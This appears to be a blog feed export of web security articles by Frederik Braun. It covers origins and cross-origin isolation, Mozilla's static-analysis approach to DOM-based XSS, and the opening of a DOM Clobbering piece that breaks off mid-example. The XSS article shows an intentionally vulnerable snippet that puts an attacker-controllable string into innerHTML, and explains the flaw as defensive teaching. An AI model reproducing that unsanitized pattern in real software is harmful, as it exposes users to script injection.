&lt;p&gt;However, an origin can also be a so-called an &lt;em&gt;opaque origin&lt;/em&gt;, which is considered a restricted context that is always &lt;em&gt;cross-origin&lt;/em&gt; to everything else. This is used in e.g., &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; elements with the &lt;code&gt;sandbox&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;Cross-origin resources that are loaded into the current document (e.g., scripts, images) can be &lt;em&gt;used&lt;/em&gt; (e.g., executed or displayed) but not properly read: A cross-origin image can be drawn onto a &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt;, but its pixels can not be read. A cross-origin's script can be executed but the actual source text is unreadable. However, the script's side effects are observable when modifying the global scope (e.g., defining a new global variable). This can lead to unintended leaks, called Cross-Site Script Inclusions. &lt;!-- TODO: task: add ref --&gt;&lt;/p&gt;
&lt;p&gt;The Same-Origin Policy can not always apply purely based on comparing the origins of two URLs, as we will likely see in another post. For now, a quick link to my 2012 diploma thesis &lt;em&gt;&lt;a href="https://frederik-braun.com/publications/thesis/Thesis-Origin_Policy_Enforcement_in_Modern_Browsers.pdf"&gt;"Origin Policy Enforcement in Modern Browsers"&lt;/a&gt;&lt;/em&gt; will have to suffice.&lt;/p&gt;
&lt;p&gt;Interactions that are subject to the Same-Origin Policy can be roughly grouped in two scenarios:&lt;/p&gt;
&lt;h3&gt;1) DOM Access&lt;/h3&gt;
&lt;p&gt;Synchronous access in JavaScript across origin boundaries can happen through a &lt;code&gt;window&lt;/code&gt; or &lt;code&gt;document&lt;/code&gt; object. These are typically obtained through an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; or a popup created with &lt;code&gt;window.open()&lt;/code&gt; and are always gated by the Same-Origin Policy - except for some interesting corner cases:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reading the &lt;code&gt;window.length&lt;/code&gt; property, which reveals the number of frames.&lt;/li&gt;
&lt;li&gt;Reading &lt;code&gt;closed&lt;/code&gt; attribute (used for popups) and calling &lt;code&gt;close()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Invoking &lt;code&gt;focus()&lt;/code&gt; and &lt;code&gt;blur()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Calling &lt;code&gt;postMessage&lt;/code&gt; allows sending data, which triggers a &lt;code&gt;MessageEvent&lt;/code&gt; on the receiving window asynchronously.&lt;/li&gt;
&lt;li&gt;A cross-origin window &lt;em&gt;can&lt;/em&gt; be navigated away by assigning to &lt;code&gt;window.location&lt;/code&gt; or invoking &lt;code&gt;location.replace()&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Interestingly, this already allows for some tricks and attacks where a cross-origin window is suddenly replaced with a similar-looking spoof.&lt;/p&gt;
&lt;h3&gt;2) HTTP Requests&lt;/h3&gt;
&lt;p&gt;Websites can perform HTTP requests, but will &lt;em&gt;not&lt;/em&gt; be able to read the responses, unless the request's URL is same-origin. Requests are typically issued with APIs like &lt;code&gt;XMLHttpRequest&lt;/code&gt; and &lt;code&gt;fetch()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, there are some exceptions and techniques towards relaxing same-origin checks, like &lt;em&gt;Cross Origin Resource Sharing&lt;/em&gt; (CORS). Many of these exceptions grew organically based on some specific need. We will go through them in a later post.&lt;/p&gt;
&lt;!-- TODO: task: add ref--&gt;

&lt;h2&gt;Site, Registerable Domain and Public Suffix&lt;/h2&gt;
&lt;p&gt;Some APIs are governed by the notion of a &lt;em&gt;Site&lt;/em&gt;, instead of an &lt;em&gt;Origin&lt;/em&gt;. A &lt;em&gt;Site&lt;/em&gt; is a combination of a scheme and a host's &lt;em&gt;registerable domain&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Looking up the &lt;em&gt;registerable domain&lt;/em&gt; of a hostname, is a quite literally a check which domain had to be registered (e.g., &lt;code&gt;example.co.uk&lt;/code&gt; or is the registerable domain for &lt;code&gt;www.example.co.uk&lt;/code&gt; as well as for &lt;code&gt;mail.example.co.uk&lt;/code&gt;). This lookup is useful to include an entity and all of its subdomains, but nothing above.&lt;/p&gt;
&lt;p&gt;The idea of a &lt;em&gt;Site&lt;/em&gt; is used in a variety of specs that want to allow related web pages to collaborate for convenience or legacy support reasons. Among them are Storage Access API (3rd Party Cookie Access), WebAuthn and Federated Credential Management.&lt;/p&gt;
&lt;blockquote&gt;
&lt;b&gt;Historical context&lt;/b&gt;:

Previously, people used the terminology of a &lt;em&gt;top-level domain&lt;/em&gt;, where the &lt;em&gt;top&lt;/em&gt; was presumed to be exactly one level of nesting and not more. This has been long-since incorrect and impractical - given the existence of "top" levels with additional nesting like &lt;code&gt;co.uk&lt;/code&gt;. Therefore, a variety of other terms have emerged, like &lt;em&gt;eTLD+1&lt;/em&gt; (the effective top-level domain, plus another level of nesting). Web standards have converged on &lt;em&gt;registerable domain&lt;/em&gt;.&lt;br&gt;
What this means is that the boundary where a "top" level begins has to be defined otherwise: In practice, this happens in a manually maintained text file otherwise known as the &lt;em&gt;&lt;a href="https://publicsuffix.org/"&gt;Public Suffix List&lt;/a&gt;&lt;/em&gt;.
&lt;br&gt;&lt;br&gt;
Aside: Even before that, people used to refer to same-site by just comparing two &lt;em&gt;registerable domains&lt;/em&gt;, without the scheme. This has been renamed to &lt;em&gt;schemelessly same-site&lt;/em&gt;. Let's pretend that never happened in the first place.
&lt;/blockquote&gt;

&lt;p&gt;Getting a domain of yours added to the aforementioned Public Suffix List, allows to enforce privilege separation along the lines of the Same-Origin Policy: If your domain is considered a public suffix, then every name below that becomes its own origin. It is generally recommended to do that in order to assign user-generated content into separated namespaces. A great example is &lt;code&gt;github.io&lt;/code&gt;, where each user is getting a namespace underneath the public suffix and can therefore not affect cookies or site-specific settings with other users.&lt;/p&gt;
&lt;h2&gt;Secure Contexts&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Secure Context&lt;/em&gt; is a generalized notion of whether a website was served over HTTPS. A simple look at the protocol scheme does not fully work and the generalization is necessary to allow for situations where a document does not have a HTTP(S) URL but is inheriting its context (e.g., &lt;code&gt;&amp;lt;iframe srcdoc&amp;gt;&lt;/code&gt;, &lt;code&gt;about:blank&lt;/code&gt; documents). Additionally, pages hosted on &lt;code&gt;*.localhost&lt;/code&gt; or via the local filesystem (&lt;code&gt;file://&lt;/code&gt;) are also considered secure. Whether the current page was delivered securely is exposed in JavaScript via the &lt;code&gt;window.isSecureContext&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;Being in a Secure Context is often times required for newer, powerful APIs which want some level of assurance that a web page has not been intercepted or modified by a network attacker. A typical API that requires it is ServiceWorkers, because persistently installed background code should not be perpetuated into future sessions when coming from an insecure connection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A document delivered over HTTPS is &lt;strong&gt;not&lt;/strong&gt; a secure context, if it has been embedded from an insecure context (e.g. HTTP site contains &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; of HTTPS site).&lt;/p&gt;
&lt;h2&gt;Cross-Origin Isolation&lt;/h2&gt;
&lt;p&gt;Cross-Origin Isolation is a newer security boundary, that was created as a reaction to two noteworthy attack groups. The first attack group being so-called cross-site leaks (henceforth called &lt;em&gt;xsleaks&lt;/em&gt;) and microarchitectural side-channel attacks against modern CPUs (Spectre, Meltdown, and its various successors).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Xsleaks&lt;/em&gt; attacks rely on abusing some pre-existing global state (e.g. browser cache, a resource limit for maximum allowed opened socket) to infer or leaking cross-site application state. This is a generalization upon previously known methods for e.g., redirection-detections to identify whether a user is logged in with a third-party site, but also history stealing attacks&lt;!-- this could need way more details. --&gt;. The &lt;a href="https://xsleaks.dev/"&gt;xsleaks wiki&lt;/a&gt; has many examples and suggested countermeasures.&lt;/p&gt;
&lt;p&gt;Microarchitectural attacks (like Spectre and Meltdown) rely on specific CPU behavior in order to infer or leak information from the processor itself. Roughly speaking, exploitation allows to read arbitrary memory within the same operating system (OS) process. Carrying out a Spectre attack, for example, is believed to be possible using shared memory access and high-precision timers. Both exist as APIs provided by the web platform with &lt;code&gt;SharedArrayBuffer&lt;/code&gt; and the Performance API.&lt;/p&gt;
&lt;p&gt;As a result, an attacker would have been able to violate the Same-Origin Policy by embedding a cross-origin resource (using e.g., an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element) and reading process memory. As a reaction, browser engines have originally disabled access to those APIs or reduced timing granularity.&lt;/p&gt;
&lt;p&gt;Despite blocking Web APIs, major browsers like Chrome and Firefox have also gone through significant re-architecturing efforts to create and assign separate OS-processes to websites of different &lt;em&gt;Sites&lt;/em&gt;. These long-term engineering projects (called &lt;em&gt;Site-Isolation&lt;/em&gt;) were mostly without side effects for web developers. However, this is not enough, given the embedding attack example above.&lt;/p&gt;
&lt;p&gt;In order to reenable access to these coveted APIs, a website now has to ensure that is not including any cross-origin content (using &lt;code&gt;Cross-Origin-Embedder-Policy&lt;/code&gt; or &lt;em&gt;COEP&lt;/em&gt;) or only content that has been explicitly listed as public across process boundaries by its author (using &lt;code&gt;Cross-Origin-Resource-Policy&lt;/code&gt;). Furthermore, the web page needs to disallow synchronous window handle access using the &lt;code&gt;Cross-Origin-Opener-Policy&lt;/code&gt; (also known as &lt;em&gt;COOP&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;When used in combination, COEP and COOP lead to the &lt;code&gt;window.crossOriginIsolated&lt;/code&gt; property becoming &lt;code&gt;true&lt;/code&gt;. This give access to the &lt;code&gt;SharedArrayBuffer&lt;/code&gt; constructor and high-precision timing in the Performance API.&lt;/p&gt;
&lt;p&gt;To summarize, &lt;em&gt;Cross-Origin Isolation&lt;/em&gt; and is a mechanism to retrofit the web  security model in light of new attacks: A website can only get access by being assigned its very own, unique browser process that is also free of potentially sensitive cross-origin content.&lt;/p&gt;
&lt;h2&gt;What else?&lt;/h2&gt;
&lt;p&gt;Do you feel like something is unclear or missing?&lt;/p&gt;</content><category term="misc"></category><category term="websecguide"></category></entry><entry><title>Finding and Fixing DOM-based XSS with Static Analysis</title><link href="https://frederik-braun.com/finding-and-fixing-dom-based-xss-with-static-analysis.html" rel="alternate"></link><published>2023-01-02T00:00:00+01:00</published><updated>2023-01-02T00:00:00+01:00</updated><author><name>Frederik Braun</name></author><id>tag:frederik-braun.com,2023-01-02:/finding-and-fixing-dom-based-xss-with-static-analysis.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This article first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/11/03/finding-and-fixing-dom-based-xss-with-static-analysis/"&gt;Firefox Attack &amp;amp; Defense blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Despite &lt;a href="https://www.w3.org/TR/CSP1/"&gt;all&lt;/a&gt; &lt;a href="https://www.w3.org/TR/CSP2/"&gt;the&lt;/a&gt; &lt;a href="https://www.w3.org/TR/CSP3/"&gt;efforts&lt;/a&gt; of fixing Cross-Site Scripting (XSS) on the web, it continuously ranks as one of the &lt;a href="https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html"&gt;most dangerous security issues in software&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In particular, DOM-based XSS is gaining increasing relevance: DOM-based XSS is a form of XSS …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This article first appeared on the &lt;a href="https://blog.mozilla.org/attack-and-defense/2021/11/03/finding-and-fixing-dom-based-xss-with-static-analysis/"&gt;Firefox Attack &amp;amp; Defense blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Despite &lt;a href="https://www.w3.org/TR/CSP1/"&gt;all&lt;/a&gt; &lt;a href="https://www.w3.org/TR/CSP2/"&gt;the&lt;/a&gt; &lt;a href="https://www.w3.org/TR/CSP3/"&gt;efforts&lt;/a&gt; of fixing Cross-Site Scripting (XSS) on the web, it continuously ranks as one of the &lt;a href="https://cwe.mitre.org/top25/archive/2021/2021_cwe_top25.html"&gt;most dangerous security issues in software&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In particular, DOM-based XSS is gaining increasing relevance: DOM-based XSS is a form of XSS where the vulnerability resides completely in the client-side code (e.g., in JavaScript). Indeed, more and more web applications implement all of their UI code using frontend web technologies: Single Page Applications (SPAs) are more prone to this vulnerability, mainly because they are more JavaScript-heavy than other web applications. An XSS in Electron applications, however, has the potential to cause &lt;em&gt;even more&lt;/em&gt; danger due to the system-level APIs available in the Electron framework (e.g., reading local files and executing programs).&lt;/p&gt;
&lt;p&gt;The following article will take a deeper look into Mozilla's static analysis approach for defeating DOM-based XSS. This is one part of &lt;a href="https://blog.mozilla.org/attack-and-defense/2020/07/07/hardening-firefox-against-injection-attacks-the-technical-details/"&gt;our mitigations against injection attacks in the Firefox browser&lt;/a&gt;, for which the user interface is also written in HTML, JavaScript and CSS.&lt;/p&gt;
&lt;h1&gt;Background: Real world example of DOM-based XSS&lt;/h1&gt;
&lt;p&gt;Let's take a moment to look at typical sources of DOM-based XSS first. Imagine a bit of JavaScript (JS) code like here:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;span class="sb"&gt;&amp;lt;div class=&amp;quot;image-box&amp;quot;&amp;gt;&lt;/span&gt;
&lt;span class="sb"&gt;&amp;lt;img class=&amp;quot;image&amp;quot;&lt;/span&gt;
&lt;span class="sb"&gt;src=&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;imageUrl&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;&amp;quot;/&amp;gt;&lt;/span&gt;
&lt;span class="sb"&gt;&amp;lt;/div&amp;gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// (...)&lt;/span&gt;
&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You first will notice the variable called &lt;code&gt;html&lt;/code&gt;, whichconstructs a bit of HTML using a Javascript &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals"&gt;template string&lt;/a&gt;. It also features an inclusion of another variable - &lt;code&gt;imageUrl&lt;/code&gt; - to be used in the &lt;code&gt;src&lt;/code&gt; attribute. The full html string is then assigned to &lt;code&gt;main.innerHTML&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we assume that the &lt;code&gt;imageUrl&lt;/code&gt; variable is controlled by an attacker - then they might easily break out of the &lt;code&gt;src&lt;/code&gt; attribute syntax and enter arbitrary HTML of their choosing to launch an XSS attack.&lt;/p&gt;
&lt;p&gt;This example demonstrates how easy it is to accidentally implement a DOM-XSS vulnerability: The application was expecting an image URL, but also accepts all sorts of strings, which are then parsed into HTML and JavaScripts. This is enough to enable XSS attacks.&lt;/p&gt;
&lt;p&gt;If we want to avoid these bugs we need to find all instances in which the application parses a string into HTML and then determine if it can be controlled from the outside (e.g., form input, URL parameters, etc).&lt;/p&gt;
&lt;p&gt;To do so efficiently, we are required to inspect various patterns in source code. First, let's look at all assignments to &lt;code&gt;innerHTML&lt;/code&gt; or &lt;code&gt;outerHTML&lt;/code&gt;. In order not to miss other sources of XSS, we also need to inspect calls to the following functions: &lt;code&gt;insertAdjacentHTML()&lt;/code&gt;, &lt;code&gt;document.write()&lt;/code&gt;, &lt;code&gt;document.writeln()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When first trying this ourselves, we at Mozilla used text search with tools like &lt;code&gt;grep&lt;/code&gt; or &lt;code&gt;ripgrep&lt;/code&gt;, but it did not turn out successful: Even a complicated search pattern gave us thousands of results and contained many false positives (e.g., assignments of safe, hardcoded strings). We knew we needed something that is more syntax-aware.&lt;/p&gt;
&lt;h1&gt;Linting and Static Analysis&lt;/h1&gt;
&lt;p&gt;Static Analysis is just another way to say that we want to inspect source code automatically. Our static analysis method builds on existing JavaScript linting with &lt;a href="https://eslint.org"&gt;eslint&lt;/a&gt;, which supports robust JS source code parsing and also supports new JavaScript syntax extensions. Furthermore, the provided plugin API helps us build an automated check with relatively little new code. However, there are some limitations:&lt;/p&gt;
&lt;h2&gt;Caveats&lt;/h2&gt;
&lt;p&gt;Since we are scanning the JavaScript &lt;em&gt;source code&lt;/em&gt;, there are some things we can &lt;em&gt;not&lt;/em&gt; easily do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Static Analysis has almost no visibility into a variable's content (i.e., harmful, harmless, attacker controlled, hardcoded).&lt;/li&gt;
&lt;li&gt;In JavaScript, the source code does not tell us a variable's type (e.g., Number, String, Array, Object)&lt;/li&gt;
&lt;li&gt;Static Analysis is easily fooled by minification, bundling or obfuscation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At Mozilla, we managed to accept these limitations because we can build on our existing engineering practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All proposed patches are going through code review.&lt;/li&gt;
&lt;li&gt;The repository contains all relevant JavaScript source code (e.g., third-party libraries are vendored in).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The latter point is sometimes hard to guarantee and requires using dependencies through published and versioned libraries. Third-party JavaScript dependencies through &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements are therefore out of scope. For a cohesive security posture, the associated security risks need to be mitigated by other means (e.g., using in-browser checks at runtime like CSP). You should validate whether the following assumptions also hold true for your project.&lt;/p&gt;
&lt;h2&gt;How Static Analysis works&lt;/h2&gt;
&lt;p&gt;To explain the implementation of our eslint plugin, let's take a look at how JavaScript can be parsed and understood by eslint: A common representation is the so-called Abstract Syntax Tree (AST). Let's take a look at the AST for a simplified version of our vulnerability from above:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;foo.innerHTML = evil&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;AssignmentExpression (operator: =)
|-- left: MemberExpression
| |-- object: Identifier &amp;quot;foo&amp;quot;
| `-- property: Identifier &amp;quot;innerHTML&amp;quot;
`-- right
`-- Identifier &amp;quot;evil&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Indeed, the whole line is seen as an assignment, with a left and a right side. The right side is a variable (Identifier) and the left side &lt;code&gt;foo.innerHTML&lt;/code&gt; is accessing the property of an object (MemberExpression).&lt;/p&gt;
&lt;p&gt;Now let's look at the AST representation for a case, where XSS is not possible, which just assigns an empty string: &lt;code&gt;foo.innerHTML = ""&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;AssignmentExpression (operator: =)
|-- left: MemberExpression
| |-- object: Identifier &amp;quot;foo&amp;quot;
| `-- property: Identifier &amp;quot;innerHTML&amp;quot;
`-- right
`-- Literal &amp;quot;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Did you spot the difference? Again the assignment has a left and right side. But in this case, the right node is of type &lt;em&gt;Literal&lt;/em&gt; (i.e., a hardcoded string).&lt;/p&gt;
&lt;p&gt;We can use exactly these kinds of differences to understand the basics of our linter plugin: When looking at assignments, all hardcoded strings are considered trustworthy and do not need further static analysis. But only if all patches are subject to code review, before being committed to the source code. Naturally, the plugin has many more syntax expressions to take into account.&lt;/p&gt;
&lt;p&gt;While bearing in mind, that the abstract syntax tree can &lt;em&gt;not&lt;/em&gt; tell us anything about a variable despite its name, we probably want to allow some other things: In our case, we configured our linter runtime (not the plugin itself) to skip files if they are in the &lt;code&gt;test/&lt;/code&gt; folder, as we do not expect test code to be running on our users' systems.&lt;/p&gt;
&lt;p&gt;We also need to take false positives into account. False positives are incorrect detections of code, in which the content of the variable is known to be safe through other means. Here, we recommend our developers to use a trusted Sanitizer library that will always return XSS-safe HTML. Essentially, we allow all code on the right side of the assignment as long as it is wrapped in a function call to a known sanitizer like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DOMPurify&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;purify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We currently recommend using &lt;a href="https://github.com/cure53/DOMPurify/"&gt;DOMPurify&lt;/a&gt; as your sanitizer and our linter allows such calls in our default configuration. In parallel, we are also actively working on specifying and implementing a secure &lt;a href="https://wicg.github.io/sanitizer-api/"&gt;Sanitizer API&lt;/a&gt; for the web platform. Either way, as long as our sanitizer function is well implemented, the input data doesn't have to be.&lt;/p&gt;
&lt;p&gt;With all these techniques and decisions in mind, we ended up developing an eslint plugin called [*&lt;em&gt;eslint-plugin-no-unsanitized&lt;/em&gt;&lt;code&gt;**](https://github.com/mozilla/eslint-plugin-no-unsanitized), which also contains checks for other typical XSS-related source code fragments like&lt;/code&gt;document.write()` and is fully configurable in terms of which sanitizers you want to allow.&lt;/p&gt;
&lt;h1&gt;Evaluation &amp;amp; Integration&lt;/h1&gt;
&lt;p&gt;When we first tried finding XSS in the Firefox UI automatically, we used &lt;code&gt;grep&lt;/code&gt; and spotted thousands of potential vulnerabilities. With the eslint plugin, we reduced this number to 34 findings! This reduction enabled us to start a focussed manual code audit and resulted in finding only two critical security bugs. Imagine trying to identify those two bugs by going through thousands of potential findings manually.&lt;/p&gt;
&lt;p&gt;Eventually, we fully integrated &lt;a href="https://github.com/mozilla/eslint-plugin-no-unsanitized"&gt;eslint-plugin-no-unsanitized&lt;/a&gt; into our CI systems by choosing an iterative approach:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We enabled the linter over time and directory by directory.&lt;/li&gt;
&lt;li&gt;We skip test files.&lt;/li&gt;
&lt;li&gt;We also had to allow some exceptions for code that violates the linter but was not actually insecure (validated through code audit).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An important note here is that allowing linter violations incurs a risk that needs to be temporary. It's still useful to tolerate exceptions &lt;em&gt;during&lt;/em&gt; the migration to the linter plugin, but not after. We've also experienced that developers misunderstand the purpose of the linter and try to design their own path of evading these checks. Our lesson: By controlling the path for exceptions and escalations, we were able to understand and adopt the tool to find workable solutions for all developers and their use cases.&lt;/p&gt;
&lt;p&gt;Once all code has been integrated, it should be on the security &amp;amp; analysis teams to get the number of exceptions down to zero. With all those bugs fixed and most linter violations resolved, we are running the plugin against all newly submitted Firefox code and have a pretty good handle on XSS issues in our codebase.&lt;/p&gt;
&lt;h1&gt;Conclusion: You can fix DOM-XSS&lt;/h1&gt;
&lt;p&gt;Fixing DOM-based XSS across a whole codebase is not easy, but we believe this overview will serve as a useful guide: As a first step, we can highly recommend just using the &lt;a href="(https://github.com/mozilla/eslint-plugin-no-unsanitized)"&gt;eslint plugin no-unsanitized&lt;/a&gt; as it is and running it against your source code. A dry-run will already tell you whether the topic of DOM-based XSS is a problem at all. Our integration section showed how you can integrate the linter gradually, based on risk or feasibility. But we also want to note that source code analysis is not a silver bullet: There are notable caveats and it is useful to complement static analysis with enforcement in the browser and at runtime.
But, eventually you will be able to get rid of a lot of DOM-XSS.&lt;/p&gt;
&lt;p&gt;&lt;small&gt;&lt;em&gt;This is a summary of my presentation of the same title, delivered at Sekurak Mega Hacking Party (June 2021) and JSCamp Barcelona (July 2021) and enterJS (June 2022) Feel free to &lt;a href="https://frederik-braun.com/contact.html"&gt;reach out&lt;/a&gt;, if you want me to talk about web security at your event &lt;/em&gt;.&lt;/small&gt;&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>DOM Clobbering</title><link href="https://frederik-braun.com/dom-clobbering.html" rel="alternate"></link><published>2022-12-12T00:00:00+01:00</published><updated>2022-12-12T00:00:00+01:00</updated><author><name>Frederik Braun</name></author><id>tag:frederik-braun.com,2022-12-12:/dom-clobbering.html</id><summary type="html">&lt;p&gt;&lt;em&gt;This article &lt;a href="https://www.htmhell.dev/adventcalendar/2022/12/"&gt;first appeared on the HTMLHell Advent Calendar 2022&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Motivation&lt;/h3&gt;
&lt;p&gt;When thinking of HTML-related security bugs, people often think of script injection attacks, which is also known as &lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting"&gt;Cross-Site Scripting&lt;/a&gt; (XSS). If an attacker is able to submit, modify or store content on your web page, they might include …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This article &lt;a href="https://www.htmhell.dev/adventcalendar/2022/12/"&gt;first appeared on the HTMLHell Advent Calendar 2022&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Motivation&lt;/h3&gt;
&lt;p&gt;When thinking of HTML-related security bugs, people often think of script injection attacks, which is also known as &lt;a href="https://en.wikipedia.org/wiki/Cross-site_scripting"&gt;Cross-Site Scripting&lt;/a&gt; (XSS). If an attacker is able to submit, modify or store content on your web page, they might include evil JavaScript code to modify the page or steal user information like cookies.
Most developers out there protect their websites against XSS by disallowing or controlling script execution.&lt;/p&gt;
&lt;p&gt;However, this article is &lt;strong&gt;NOT&lt;/strong&gt; about XSS.&lt;/p&gt;
&lt;p&gt;This article is about an interesting attack that relies on HTML-only injections. The techniques here were &lt;a href="http://www.thespanner.co.uk/2013/05/16/dom-clobbering/"&gt;first described by Gareth Heyes in 2013&lt;/a&gt;, the topic gained additional attention due to a &lt;a href="https://publications.cispa.saarland/3756/"&gt;recent research paper&lt;/a&gt; and its accompanying website &lt;a href="https://domclob.xyz/"&gt;https://domclob.xyz/&lt;/a&gt; from Khodayari et al.&lt;/p&gt;
&lt;h3&gt;Background&lt;/h3&gt;
&lt;p&gt;Before we dive into the vulnerability class of DOM Clobbering, we need to establish some background.&lt;/p&gt;
&lt;p&gt;Have you ever noticed that whenever you include a HTML element with an &lt;code&gt;id&lt;/code&gt; attribute, it becomes available as a global name (and a name on the &lt;code&gt;window&lt;/code&gt; object)? So, for example&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;freddy&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;…will lead to &lt;code&gt;window.freddy&lt;/code&gt; becoming a reference to that form element.&lt;/p&gt;
&lt;p&gt;This is a legacy inheritance from the very old days of HTML and also known as &lt;em&gt;&lt;a href="https://html.spec.whatwg.org/multipage/nav-history-apis.html#named-access-on-the-window-object"&gt;named property access&lt;/a&gt;&lt;/em&gt; in the HTML spec. Studying the spec will inform us that the following elements will also appear on the &lt;code&gt;document&lt;/code&gt; object: &lt;code&gt;embed&lt;/code&gt;, &lt;code&gt;form&lt;/code&gt;, &lt;code&gt;img&lt;/code&gt;, and &lt;code&gt;object&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Given that web browsers have to maintain backwards compatibility support for relatively old web pages, &lt;em&gt;named property access&lt;/em&gt; is designed in such a way &lt;a href="https://webidl.spec.whatwg.org/#legacy-platform-object-abstract-ops"&gt;that element references come before lookups of APIs&lt;/a&gt; and other new attributes on the &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;document&lt;/code&gt; object.&lt;/p&gt;
&lt;h3&gt;DOM Clobbering Attacks&lt;/h3&gt;
&lt;p&gt;In essence, this means that an attacker with the ability to inject HTML may mess with simple Web APIs - like the property &lt;code&gt;document.hidden&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;Imagine your website is trying to reduce or stop animations based on page visibility like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hidden&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
